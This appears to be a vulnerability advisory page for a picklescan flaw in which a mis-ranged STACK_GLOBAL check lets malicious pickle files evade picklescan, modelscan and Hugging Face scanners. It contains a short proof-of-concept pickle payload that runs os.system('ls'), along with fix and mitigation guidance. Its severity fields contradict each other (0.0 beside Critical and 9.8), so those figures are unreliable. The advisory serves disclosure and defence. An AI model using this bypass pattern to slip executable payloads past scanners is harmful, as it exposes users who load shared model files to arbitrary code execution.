GHSA-9gvj-pp9x-gcfr CVE-2025-71325 PYSEC-2026-1788
Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.60%
- Chance of exploitation in the next 30 days. Higher than 48.90% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-502 Deserialization of Untrusted Data
- Fix
0.0.27- Upgrade picklescan to this version or later
Description
Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
6: S STRING 'system' --> arg 1: STRING (tracked argument)
16: \x93 STACK_GLOBAL
17: S STRING 'ls'
23: \x85 TUPLE1
24: R REDUCE
25: . STOP
PoC
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))
Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.27 |
0.0.27 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.27
- pip
pip install --upgrade "picklescan>=0.0.27"- poetry
poetry add "picklescan>=0.0.27"- uv
uv add "picklescan>=0.0.27"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Advisories
Packages
Other links
- github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr
- github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688
- github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/…
- github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/…
- github.com/mmaitre314/picklescan/releases/tag/v0.0.27
- vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsi…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
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